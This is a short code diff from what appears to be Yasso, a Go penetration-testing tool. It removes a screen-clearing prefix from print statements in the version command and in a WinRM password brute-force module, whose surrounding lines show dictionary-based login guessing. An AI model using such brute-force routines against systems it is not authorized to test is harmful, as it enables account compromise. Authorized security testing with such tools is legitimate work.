cmd/version.go

@@ -8,7 +8,7 @@ var versionCmd = &cobra.Command{
 	Use:   "version",
 	Short: "Print Yasso's version in screen",
 	Run: func(cmd *cobra.Command, args []string) {
-		Println(Clearln + "Yasso Version is 0.1.2")
+		Println("Yasso Version is 0.1.2")
 	},
 }
 

cmd/winrm.go

@@ -44,11 +44,11 @@ func WinBurpByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm 和 rdp认证相同
-			Println(Clearln + "[*] Brute Module [winrm]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [winrm]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("winrm", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 	if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {